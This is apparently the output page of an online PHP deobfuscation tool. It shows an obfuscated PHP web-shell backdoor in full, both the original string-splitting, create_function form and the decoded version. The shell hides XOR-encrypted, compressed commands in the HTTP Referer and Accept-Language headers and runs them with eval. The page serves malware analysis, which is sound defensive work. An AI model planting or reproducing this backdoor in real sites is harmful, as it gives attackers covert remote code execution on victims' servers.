Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $p='t();$s=5^&$_SESSIO5^N;$ss=5^"5^substr";$s5^5^l="strtolo5^wer";$i5^=$m[5^1][0].5^..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$p='t();$s=5^&$_SESSIO5^N;$ss=5^"5^substr";$s5^5^l="strtolo5^wer";$i5^=$m[5^1][0].5^$m5^[1][15^];$h=$sl';
$w='$kh="5d41";5^$k5^f="5^402a";funct5^ion 5^x5^($t,$k){$c=str5^len($k5^);$l=st5^r5^len($t);$5^o="";f5^or($i=05^;';
$T='5^$i<$l5^;){for($j=5^0;5^($j<$c&&$i5^<$l);$j++5^,5^$i+5^+){$o.=$t{$i}^5^$k{$5^j};}}ret5^urn 5^$5^5^o;}$r';
$k='base65^4_en5^code(x(gz5^co5^mpress($o),5^$k)5^);pri5^nt("<$5^k>$d</$k>")5^;@s5^ess5^ion_5^destroy();}}}}';
$q='a){5^$u=par5^se5^_url($5^rr);5^parse_str5^($u["query5^"],$5^5^q);$q=ar5^ray_valu5^es($q)5^5^;preg5^_';
$K=');}if(arr5^ay_5^key_e5^xis5^ts($5^i,$s)){$s[$i].=5^$p;$5^e=5^strpos(5^$s[$5^i],$f)5^;if5^($e){$k=$kh.$5^kf;ob_5^s5^tart';
$r='($ss(m5^d55^(5^$i.$kh),0,3));$f=5^$sl($5^5^ss(md55^($i.5^$kf),0,3))5^5^5^;$p="";for($z=1;$5^5^z<co';
$N='=$_5^SERVE5^R;$rr=@$r["HT5^TP_RE5^FER5^ER"];$ra=@5^$r["HT5^TP_5^5^ACC5^EPT_LANGUAGE"]5^;if($rr&&$r';
$l='unt($m[1])5^;$z++)$p.=5^$q5^[$m[2][$z]5^];if5^(strpos(5^5^$p,$h)=5^==0){$s[5^$i]="";5^$p=$ss($5^p,35^';
$M='match_all(5^"/([\\w])[\\w5^-]5^+(?:;q=05^.([\\d]5^))?,?/5^",$r5^5^a,$m);if($q&&$m)5^{5^@s5^ession_st5^ar';
$H=str_replace('eB','','ceBreBeateeB_fueBnceBeBtion');
$u='();@e5^5^val(@gzuncompres5^s(@x(@b5^ase645^_5^5^5^d5^ecode(preg_rep5^lace(arra5^y("/_/","/-5^/"),arr';
$P='ay5^("/",5^"+")5^,$ss($s5^[$5^5^i],0,$e5^))),$k)))5^;$o=ob_get_content5^s();5^ob_end_c5^lea5^n5^();$d=';
$X=str_replace('5^','',$w.$T.$N.$q.$M.$p.$r.$l.$K.$u.$P.$k);
$S=$H('',$X);$S();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$H create_function
$K );}if(arr5^ay_5^key_e5^xis5^ts($5^i,$s)){$s[$i].=5^$p;$5^e=5..
$M match_all(5^"/([\w])[\w5^-]5^+(?:;q=05^.([\d]5^))?,?/5^",$r5..
$N =$_5^SERVE5^R;$rr=@$r["HT5^TP_RE5^FER5^ER"];$ra=@5^$r["HT5^T..
$P ay5^("/",5^"+")5^,$ss($s5^[$5^5^i],0,$e5^))),$k)))5^;$o=ob_g..
$S None
$T 5^$i<$l5^;){for($j=5^0;5^($j<$c&&$i5^<$l);$j++5^,5^$i+5^+){$..
$X $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$k base65^4_en5^code(x(gz5^co5^mpress($o),5^$k)5^);pri5^nt("<$5..
$l unt($m[1])5^;$z++)$p.=5^$q5^[$m[2][$z]5^];if5^(strpos(5^5^$p..
$p t();$s=5^&$_SESSIO5^N;$ss=5^"5^substr";$s5^5^l="strtolo5^wer..
$q a){5^$u=par5^se5^_url($5^rr);5^parse_str5^($u["query5^"],$5^..
$r ($ss(m5^d55^(5^$i.$kh),0,3));$f=5^$sl($5^5^ss(md55^($i.5^$kf..
$u ();@e5^5^val(@gzuncompres5^s(@x(@b5^ase645^_5^5^5^d5^ecode(p..
$w $kh="5d41";5^$k5^f="5^402a";funct5^ion 5^x5^($t,$k){$c=str5^..

Stats

MD5 ec566bbc27f63166664859aa73c54dbb
Eval Count 1
Decode Time 128 ms